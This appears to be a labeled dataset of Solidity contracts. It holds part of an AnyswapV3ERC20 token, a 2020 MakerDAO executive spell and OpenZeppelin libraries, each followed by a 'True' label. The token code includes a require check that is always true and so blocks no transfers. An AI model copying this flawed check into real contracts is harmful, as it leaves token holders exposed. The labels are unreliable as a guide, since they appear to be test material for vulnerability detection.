require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(
abi.encode(
TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(
abi.encodePacked(
"\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from account (`from`) to account (`to`) using allowance mechanism.
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Approval} event to reflect reduced allowance `value` for caller account to spend from account (`from`),
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
/// - `from` account must have approved caller to spend at least `value` of AnyswapV3ERC20 token, unless `from` and caller are the same account.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
|
True
|
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1041,
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2015,
1012,
28855,
14820,
1012,
102
] |
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// Copyright (C) 2020 Maker Ecosystem Growth Holdings, INC.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.5.12;
// https://github.com/dapphub/ds-pause
interface DSPauseAbstract {
function setOwner(address) external;
function setAuthority(address) external;
function setDelay(uint256) external;
function plans(bytes32) external view returns (bool);
function proxy() external view returns (address);
function delay() external view returns (uint256);
function plot(address, bytes32, bytes calldata, uint256) external;
function drop(address, bytes32, bytes calldata, uint256) external;
function exec(address, bytes32, bytes calldata, uint256) external returns (bytes memory);
}
// https://github.com/makerdao/dss/blob/master/src/vat.sol
interface VatAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function can(address, address) external view returns (uint256);
function hope(address) external;
function nope(address) external;
function ilks(bytes32) external view returns (uint256, uint256, uint256, uint256, uint256);
function urns(bytes32, address) external view returns (uint256, uint256);
function gem(bytes32, address) external view returns (uint256);
function dai(address) external view returns (uint256);
function sin(address) external view returns (uint256);
function debt() external view returns (uint256);
function vice() external view returns (uint256);
function Line() external view returns (uint256);
function live() external view returns (uint256);
function init(bytes32) external;
function file(bytes32, uint256) external;
function file(bytes32, bytes32, uint256) external;
function cage() external;
function slip(bytes32, address, int256) external;
function flux(bytes32, address, address, uint256) external;
function move(address, address, uint256) external;
function frob(bytes32, address, address, address, int256, int256) external;
function fork(bytes32, address, address, int256, int256) external;
function grab(bytes32, address, address, address, int256, int256) external;
function heal(uint256) external;
function suck(address, address, uint256) external;
function fold(bytes32, address, int256) external;
}
// https://github.com/makerdao/dss/blob/master/src/cat.sol
interface CatAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function box() external view returns (uint256);
function litter() external view returns (uint256);
function ilks(bytes32) external view returns (address, uint256, uint256);
function live() external view returns (uint256);
function vat() external view returns (address);
function vow() external view returns (address);
function file(bytes32, address) external;
function file(bytes32, uint256) external;
function file(bytes32, bytes32, uint256) external;
function file(bytes32, bytes32, address) external;
function bite(bytes32, address) external returns (uint256);
function claw(uint256) external;
function cage() external;
}
// https://github.com/makerdao/dss/blob/master/src/jug.sol
interface JugAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function ilks(bytes32) external view returns (uint256, uint256);
function vat() external view returns (address);
function vow() external view returns (address);
function base() external view returns (address);
function init(bytes32) external;
function file(bytes32, bytes32, uint256) external;
function file(bytes32, uint256) external;
function file(bytes32, address) external;
function drip(bytes32) external returns (uint256);
}
// https://github.com/makerdao/dss/blob/master/src/flip.sol
interface FlipAbstract {
function wards(address) external view returns (uint256);
function rely(address usr) external;
function deny(address usr) external;
function bids(uint256) external view returns (uint256, uint256, address, uint48, uint48, address, address, uint256);
function vat() external view returns (address);
function cat() external view returns (address);
function ilk() external view returns (bytes32);
function beg() external view returns (uint256);
function ttl() external view returns (uint48);
function tau() external view returns (uint48);
function kicks() external view returns (uint256);
function file(bytes32, uint256) external;
function kick(address, address, uint256, uint256, uint256) external returns (uint256);
function tick(uint256) external;
function tend(uint256, uint256, uint256) external;
function dent(uint256, uint256, uint256) external;
function deal(uint256) external;
function yank(uint256) external;
}
// https://github.com/makerdao/dss/blob/master/src/spot.sol
interface SpotAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function ilks(bytes32) external view returns (address, uint256);
function vat() external view returns (address);
function par() external view returns (uint256);
function live() external view returns (uint256);
function file(bytes32, bytes32, address) external;
function file(bytes32, uint256) external;
function file(bytes32, bytes32, uint256) external;
function poke(bytes32) external;
function cage() external;
}
// https://github.com/makerdao/osm
interface OsmAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function stopped() external view returns (uint256);
function src() external view returns (address);
function hop() external view returns (uint16);
function zzz() external view returns (uint64);
function cur() external view returns (uint128, uint128);
function nxt() external view returns (uint128, uint128);
function bud(address) external view returns (uint256);
function stop() external;
function start() external;
function change(address) external;
function step(uint16) external;
function void() external;
function pass() external view returns (bool);
function poke() external;
function peek() external view returns (bytes32, bool);
function peep() external view returns (bytes32, bool);
function read() external view returns (bytes32);
function kiss(address) external;
function diss(address) external;
function kiss(address[] calldata) external;
function diss(address[] calldata) external;
}
// https://github.com/makerdao/osm-mom
interface OsmMomAbstract {
function owner() external view returns (address);
function authority() external view returns (address);
function osms(bytes32) external view returns (address);
function setOsm(bytes32, address) external;
function setOwner(address) external;
function setAuthority(address) external;
function stop(bytes32) external;
}
// https://github.com/makerdao/median
interface MedianAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function age() external view returns (uint32);
function wat() external view returns (bytes32);
function bar() external view returns (uint256);
function orcl(address) external view returns (uint256);
function bud(address) external view returns (uint256);
function slot(uint8) external view returns (address);
function read() external view returns (uint256);
function peek() external view returns (uint256, bool);
function lift(address[] calldata) external;
function drop(address[] calldata) external;
function setBar(uint256) external;
function kiss(address) external;
function diss(address) external;
function kiss(address[] calldata) external;
function diss(address[] calldata) external;
function poke(uint256[] calldata, uint256[] calldata, uint8[] calldata, bytes32[] calldata, bytes32[] calldata) external;
}
// https://github.com/makerdao/dss/blob/master/src/join.sol
interface GemJoinAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function vat() external view returns (address);
function ilk() external view returns (bytes32);
function gem() external view returns (address);
function dec() external view returns (uint256);
function live() external view returns (uint256);
function cage() external;
function join(address, uint256) external;
function exit(address, uint256) external;
}
// https://github.com/makerdao/flipper-mom/blob/master/src/FlipperMom.sol
interface FlipperMomAbstract {
function owner() external returns (address);
function setOwner(address) external;
function authority() external returns (address);
function setAuthority(address) external;
function cat() external returns (address);
function rely(address) external;
function deny(address) external;
}
// https://github.com/makerdao/ilk-registry/blob/master/src/IlkRegistry.sol
interface IlkRegistryAbstract {
function wards(address) external view returns (uint256);
function rely(address) external;
function deny(address) external;
function vat() external view returns (address);
function cat() external view returns (address);
function spot() external view returns (address);
function ilkData(bytes32) external view returns (
uint256,
address,
address,
address,
address,
uint256,
string memory,
string memory
);
function ilks() external view returns (bytes32[] memory);
function ilks(uint) external view returns (bytes32);
function add(address) external;
function remove(bytes32) external;
function removeAuth(bytes32) external;
function file(bytes32, bytes32, address) external;
function file(bytes32, bytes32, uint256) external;
function file(bytes32, bytes32, string calldata) external;
function count() external view returns (uint256);
function list() external view returns (bytes32[] memory);
function list(uint256, uint256) external view returns (bytes32[] memory);
function get(uint256) external view returns (bytes32);
function info(bytes32) external view returns (
string memory,
string memory,
uint256,
address,
address,
address,
address
);
function pos(bytes32) external view returns (uint256);
function gem(bytes32) external view returns (address);
function pip(bytes32) external view returns (address);
function join(bytes32) external view returns (address);
function flip(bytes32) external view returns (address);
function dec(bytes32) external view returns (uint256);
function symbol(bytes32) external view returns (string memory);
function name(bytes32) external view returns (string memory);
}
contract ERC20 {
function decimals() external view returns (uint);
}
contract SpellAction {
// MAINNET ADDRESSES
//
// The contracts in this list should correspond to MCD core contracts, verify
// against the current release list at:
// https://changelog.makerdao.com/releases/mainnet/1.1.0/contracts.json
address constant MCD_VAT = 0x35D1b3F3D7966A1DFe207aa4514C12a259A0492B;
address constant MCD_CAT = 0xa5679C04fc3d9d8b0AaB1F0ab83555b301cA70Ea;
address constant MCD_JUG = 0x19c0976f590D67707E62397C87829d896Dc0f1F1;
address constant MCD_SPOT = 0x65C79fcB50Ca1594B025960e539eD7A9a6D434A3;
address constant MCD_END = 0xaB14d3CE3F733CACB76eC2AbE7d2fcb00c99F3d5;
address constant FLIPPER_MOM = 0xc4bE7F74Ee3743bDEd8E0fA218ee5cf06397f472;
address constant OSM_MOM = 0x76416A4d5190d071bfed309861527431304aA14f;
address constant ILK_REGISTRY = 0x8b4ce5DCbb01e0e1f0521cd8dCfb31B308E52c24;
address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address constant MCD_JOIN_USDT_A = 0x0Ac6A1D74E84C2dF9063bDDc31699FF2a2BB22A2;
address constant MCD_FLIP_USDT_A = 0x667F41d0fDcE1945eE0f56A79dd6c142E37fCC26;
address constant PIP_USDT = 0x7a5918670B0C390aD25f7beE908c1ACc2d314A3C;
address constant PAXUSD = 0x8E870D67F660D95d5be530380D0eC0bd388289E1;
address constant MCD_JOIN_PAXUSD_A = 0x7e62B7E279DFC78DEB656E34D6a435cC08a44666;
address constant MCD_FLIP_PAXUSD_A = 0x52D5D1C05CC79Fc24A629Cb24cB06C5BE5d766E7;
address constant PIP_PAXUSD = 0x043B963E1B2214eC90046167Ea29C2c8bDD7c0eC;
// light feeds
//
// https://forum.makerdao.com/t/mip10c14-sp5-proposal-appoint-argent-as-a-light-feed/3015
address constant ARGENT = 0x130431b4560Cd1d74A990AE86C337a33171FF3c6;
// https://forum.makerdao.com/t/mip10c14-sp6-proposal-appoint-mycrypto-as-a-light-feed/3383
address constant MYCRYPTO = 0x3CB645a8f10Fb7B0721eaBaE958F77a878441Cb9;
// Medianizers
address constant USDTUSD = 0x56D4bBF358D7790579b55eA6Af3f605BcA2c0C3A;
address constant MANAUSD = 0x681c4F8f69cF68852BAd092086ffEaB31F5B812c;
address constant BATUSD = 0x18B4633D6E39870f398597f3c1bA8c4A41294966;
address constant BTCUSD = 0xe0F30cb149fAADC7247E953746Be9BbBB6B5751f;
address constant ETHBTC = 0x81A679f98b63B3dDf2F17CB5619f4d6775b3c5ED;
address constant ETHUSD = 0x64DE91F5A373Cd4c28de3600cB34C7C6cE410C85;
address constant KNCUSD = 0x83076a2F42dc1925537165045c9FDe9A4B71AD97;
address constant ZRXUSD = 0x956ecD6a9A9A0d84e8eB4e6BaaC09329E202E55e;
// Decimals & precision
uint256 constant THOUSAND = 10 ** 3;
uint256 constant MILLION = 10 ** 6;
uint256 constant WAD = 10 ** 18;
uint256 constant RAY = 10 ** 27;
uint256 constant RAD = 10 ** 45;
// Many of the settings that change weekly rely on the rate accumulator
// described at https://docs.makerdao.com/smart-contract-modules/rates-module
// To check this yourself, use the following rate calculation (example 8%):
//
// $ bc -l <<< 'scale=27; e( l(1.08)/(60 * 60 * 24 * 365) )'
//
uint256 constant TWO_PCT_RATE = 1000000000627937192491029810;
uint256 constant FOUR_PCT_RATE = 1000000001243680656318820312;
uint256 constant SIX_PCT_RATE = 1000000001847694957439350562;
uint256 constant TEN_PCT_RATE = 1000000003022265980097387650;
uint256 constant FOURTY_EIGHT_PCT_RATE = 1000000012431573129530493155;
function execute() external {
/*** Risk Parameter Adjustments ***/
// set the global debt ceiling to 763,000,000
// 708 (current DC) + 40 (WBTC-A increase) + 10 (tether DC) + 5 (paxusd DC)
VatAbstract(MCD_VAT).file("Line", 763 * MILLION * RAD);
// Set the WBTC-A debt ceiling
//
// Existing debt ceiling: 80 million
// New debt ceiling: 120 million
VatAbstract(MCD_VAT).file("WBTC-A", "line", 120 * MILLION * RAD);
// Set the BAT-A stability fee
// Previous: 0%
// New: 2%
JugAbstract(MCD_JUG).drip("BAT-A"); // drip right before
JugAbstract(MCD_JUG).file("BAT-A", "duty", TWO_PCT_RATE);
// Set the USDC-A stability fee
// Previous: 0%
// New: 2%
JugAbstract(MCD_JUG).drip("USDC-A"); // drip right before
JugAbstract(MCD_JUG).file("USDC-A", "duty", TWO_PCT_RATE);
// Set the USDC-B stability fee
// Previous: 44%
// New: 48%
JugAbstract(MCD_JUG).drip("USDC-B"); // drip right before
JugAbstract(MCD_JUG).file("USDC-B", "duty", FOURTY_EIGHT_PCT_RATE);
// Set the WBTC-A stability fee
// Previous: 0%
// New: 2%
JugAbstract(MCD_JUG).drip("WBTC-A"); // drip right before
JugAbstract(MCD_JUG).file("WBTC-A", "duty", TWO_PCT_RATE);
// Set the KNC-A stability fee
// Previous: 0%
// New: 2%
JugAbstract(MCD_JUG).drip("KNC-A"); // drip right before
JugAbstract(MCD_JUG).file("KNC-A", "duty", TWO_PCT_RATE);
// Set the ZRX-A stability fee
// Previous: 0%
// New: 2%
JugAbstract(MCD_JUG).drip("ZRX-A"); // drip right before
JugAbstract(MCD_JUG).file("ZRX-A", "duty", TWO_PCT_RATE);
// Set the MANA-A stability fee
// Previous: 6%
// New: 10%
JugAbstract(MCD_JUG).drip("MANA-A"); // drip right before
JugAbstract(MCD_JUG).file("MANA-A", "duty", TEN_PCT_RATE);
// argent address array
address[] memory argent = new address[](1);
argent[0] = ARGENT;
// mycrypto address array
address[] memory mycrypto = new address[](1);
mycrypto[0] = MYCRYPTO;
// Lift New Argent light feed
MedianAbstract(BATUSD).lift(argent);
MedianAbstract(BTCUSD).lift(argent);
MedianAbstract(ETHBTC).lift(argent);
MedianAbstract(ETHUSD).lift(argent);
MedianAbstract(KNCUSD).lift(argent);
MedianAbstract(ZRXUSD).lift(argent);
MedianAbstract(USDTUSD).lift(argent);
MedianAbstract(MANAUSD).lift(argent);
// Lift New MyCrypto light feed
MedianAbstract(BATUSD).lift(mycrypto);
MedianAbstract(BTCUSD).lift(mycrypto);
MedianAbstract(ETHBTC).lift(mycrypto);
MedianAbstract(ETHUSD).lift(mycrypto);
MedianAbstract(KNCUSD).lift(mycrypto);
MedianAbstract(ZRXUSD).lift(mycrypto);
MedianAbstract(USDTUSD).lift(mycrypto);
MedianAbstract(MANAUSD).lift(mycrypto);
////////////////////////////////////////////////////////////////////////////////
// USDT-A collateral deploy
// Set ilk bytes32 variable
bytes32 ilkUSDTA = "USDT-A";
// Sanity checks
require(GemJoinAbstract(MCD_JOIN_USDT_A).vat() == MCD_VAT, "join-vat-not-match");
require(GemJoinAbstract(MCD_JOIN_USDT_A).ilk() == ilkUSDTA, "join-ilk-not-match");
require(GemJoinAbstract(MCD_JOIN_USDT_A).gem() == USDT, "join-gem-not-match");
require(GemJoinAbstract(MCD_JOIN_USDT_A).dec() == ERC20(USDT).decimals(), "join-dec-not-match");
require(FlipAbstract(MCD_FLIP_USDT_A).vat() == MCD_VAT, "flip-vat-not-match");
require(FlipAbstract(MCD_FLIP_USDT_A).ilk() == ilkUSDTA, "flip-ilk-not-match");
// Set price feed for USDT-A
SpotAbstract(MCD_SPOT).file(ilkUSDTA, "pip", PIP_USDT);
// Set the USDT-A flipper in the cat
CatAbstract(MCD_CAT).file(ilkUSDTA, "flip", MCD_FLIP_USDT_A);
// Init USDT-A in Vat
VatAbstract(MCD_VAT).init(ilkUSDTA);
// Init USDT-A in Jug
JugAbstract(MCD_JUG).init(ilkUSDTA);
// Allow USDT-A Join to modify Vat registry
VatAbstract(MCD_VAT).rely(MCD_JOIN_USDT_A);
// Allow USDT-A Flipper on the Cat
CatAbstract(MCD_CAT).rely(MCD_FLIP_USDT_A);
// Allow cat to kick auctions in USDT-A Flipper
FlipAbstract(MCD_FLIP_USDT_A).rely(MCD_CAT);
// Allow End to yank auctions in USDT-A Flipper
FlipAbstract(MCD_FLIP_USDT_A).rely(MCD_END);
// Allow FlipperMom to access the USDT-A Flipper
FlipAbstract(MCD_FLIP_USDT_A).rely(FLIPPER_MOM);
// Update OSM
OsmAbstract(PIP_USDT).rely(OSM_MOM);
MedianAbstract(OsmAbstract(PIP_USDT).src()).kiss(PIP_USDT);
OsmAbstract(PIP_USDT).kiss(MCD_SPOT);
OsmAbstract(PIP_USDT).kiss(MCD_END);
OsmMomAbstract(OSM_MOM).setOsm(ilkUSDTA, PIP_USDT);
// since we're adding 2 collateral types in this spell, global line is at beginning
VatAbstract(MCD_VAT).file( ilkUSDTA, "line", 10 * MILLION * RAD ); // 10m debt ceiling
VatAbstract(MCD_VAT).file( ilkUSDTA, "dust", 100 * RAD ); // 100 Dai dust
CatAbstract(MCD_CAT).file( ilkUSDTA, "dunk", 50 * THOUSAND * RAD ); // 50,000 dunk
CatAbstract(MCD_CAT).file( ilkUSDTA, "chop", 113 * WAD / 100 ); // 13% liq. penalty
JugAbstract(MCD_JUG).file( ilkUSDTA, "duty", SIX_PCT_RATE ); // 6% stability fee
FlipAbstract(MCD_FLIP_USDT_A).file( "beg" , 103 * WAD / 100 ); // 3% bid increase
FlipAbstract(MCD_FLIP_USDT_A).file( "ttl" , 6 hours ); // 6 hours ttl
FlipAbstract(MCD_FLIP_USDT_A).file( "tau" , 6 hours ); // 6 hours tau
SpotAbstract(MCD_SPOT).file(ilkUSDTA, "mat", 150 * RAY / 100 ); // 150% coll. ratio
SpotAbstract(MCD_SPOT).poke(ilkUSDTA);
IlkRegistryAbstract(ILK_REGISTRY).add(MCD_JOIN_USDT_A);
////////////////////////////////////////////////////////////////////////////////
// PAXUSD-A collateral deploy
// Set ilk bytes32 variable
bytes32 ilkPAXUSDA = "PAXUSD-A";
// Sanity checks
require(GemJoinAbstract(MCD_JOIN_PAXUSD_A).vat() == MCD_VAT, "join-vat-not-match");
require(GemJoinAbstract(MCD_JOIN_PAXUSD_A).ilk() == ilkPAXUSDA, "join-ilk-not-match");
require(GemJoinAbstract(MCD_JOIN_PAXUSD_A).gem() == PAXUSD, "join-gem-not-match");
require(GemJoinAbstract(MCD_JOIN_PAXUSD_A).dec() == ERC20(PAXUSD).decimals(), "join-dec-not-match");
require(FlipAbstract(MCD_FLIP_PAXUSD_A).vat() == MCD_VAT, "flip-vat-not-match");
require(FlipAbstract(MCD_FLIP_PAXUSD_A).ilk() == ilkPAXUSDA, "flip-ilk-not-match");
// Set price feed for PAXUSD-A
SpotAbstract(MCD_SPOT).file(ilkPAXUSDA, "pip", PIP_PAXUSD);
// Set the PAXUSD-A flipper in the cat
CatAbstract(MCD_CAT).file(ilkPAXUSDA, "flip", MCD_FLIP_PAXUSD_A);
// Init PAXUSD-A in Vat
VatAbstract(MCD_VAT).init(ilkPAXUSDA);
// Init PAXUSD-A in Jug
JugAbstract(MCD_JUG).init(ilkPAXUSDA);
// Allow PAXUSD-A Join to modify Vat registry
VatAbstract(MCD_VAT).rely(MCD_JOIN_PAXUSD_A);
// Allow PAXUSD-A Flipper on the Cat
CatAbstract(MCD_CAT).rely(MCD_FLIP_PAXUSD_A);
// Allow cat to kick auctions in PAXUSD-A Flipper
// NOTE: this will be reverse later in spell, and is done only for explicitness.
FlipAbstract(MCD_FLIP_PAXUSD_A).rely(MCD_CAT);
// Allow End to yank auctions in PAXUSD-A Flipper
FlipAbstract(MCD_FLIP_PAXUSD_A).rely(MCD_END);
// Allow FlipperMom to access the PAXUSD-A Flipper
FlipAbstract(MCD_FLIP_PAXUSD_A).rely(FLIPPER_MOM);
// Consequently, deny PAXUSD-A Flipper
FlipperMomAbstract(FLIPPER_MOM).deny(MCD_FLIP_PAXUSD_A);
VatAbstract(MCD_VAT).file(ilkPAXUSDA, "line" , 5 * MILLION * RAD ); // 5 MM debt ceiling
VatAbstract(MCD_VAT).file(ilkPAXUSDA, "dust" , 100 * RAD ); // 100 Dai dust
CatAbstract(MCD_CAT).file(ilkPAXUSDA, "dunk" , 50 * THOUSAND * RAD ); // 50,000 dunk
CatAbstract(MCD_CAT).file(ilkPAXUSDA, "chop" , 113 * WAD / 100 ); // 13% liq. penalty
JugAbstract(MCD_JUG).file(ilkPAXUSDA, "duty" , TWO_PCT_RATE ); // 2% stability fee
FlipAbstract(MCD_FLIP_PAXUSD_A).file( "beg" , 103 * WAD / 100 ); // 3% bid increase
FlipAbstract(MCD_FLIP_PAXUSD_A).file( "ttl" , 6 hours ); // 6 hours ttl
FlipAbstract(MCD_FLIP_PAXUSD_A).file( "tau" , 6 hours ); // 6 hours tau
SpotAbstract(MCD_SPOT).file(ilkPAXUSDA, "mat" , 120 * RAY / 100 ); // 120% coll. ratio
SpotAbstract(MCD_SPOT).poke(ilkPAXUSDA);
IlkRegistryAbstract(ILK_REGISTRY).add(MCD_JOIN_PAXUSD_A);
}
}
contract DssSpell {
DSPauseAbstract public pause =
DSPauseAbstract(0xbE286431454714F511008713973d3B053A2d38f3);
address public action;
bytes32 public tag;
uint256 public eta;
bytes public sig;
uint256 public expiration;
bool public done;
// Provides a descriptive tag for bot consumption
// This should be modified weekly to provide a summary of the actions
// Hash: seth keccak -- "$(wget https://raw.githubusercontent.com/makerdao/community/d8496d07a5eae08f2d1886f6bf4de1a813b4584d/governance/votes/Executive%20vote%20-%20September%204%2C%202020.md -q -O - 2>/dev/null)"
string constant public description =
"2020-09-04 MakerDAO Executive Spell | Hash: 0x3c35701633399b48090f4c805686ebeeebcc86f6d05b354531f3bd0059ee48dd";
constructor() public {
sig = abi.encodeWithSignature("execute()");
action = address(new SpellAction());
bytes32 _tag;
address _action = action;
assembly { _tag := extcodehash(_action) }
tag = _tag;
expiration = now + 30 days;
}
modifier officeHours {
// Available after 14:00 UTC (10:00 am EDT) 2020/09/08
require(now >= 1599573600);
uint day = (now / 1 days + 3) % 7;
require(day < 5, "Can only be cast on a weekday");
uint hour = now / 1 hours % 24;
require(hour >= 14 && hour < 21, "Outside office hours");
_;
}
function schedule() public {
require(now <= expiration, "This contract has expired");
require(eta == 0, "This spell has already been scheduled");
eta = now + DSPauseAbstract(pause).delay();
pause.plot(action, tag, sig, eta);
}
function cast() officeHours public {
require(!done, "spell-already-cast");
done = true;
pause.exec(action, tag, sig, eta);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-08-11
*/
// Dependency file: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
// pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Dependency file: @openzeppelin/contracts/access/Ownable.sol
// pragma solidity ^0.6.0;
// import "@openzeppelin/contracts/GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// Dependency file: @openzeppelin/contracts/utils/EnumerableSet.sol
// pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
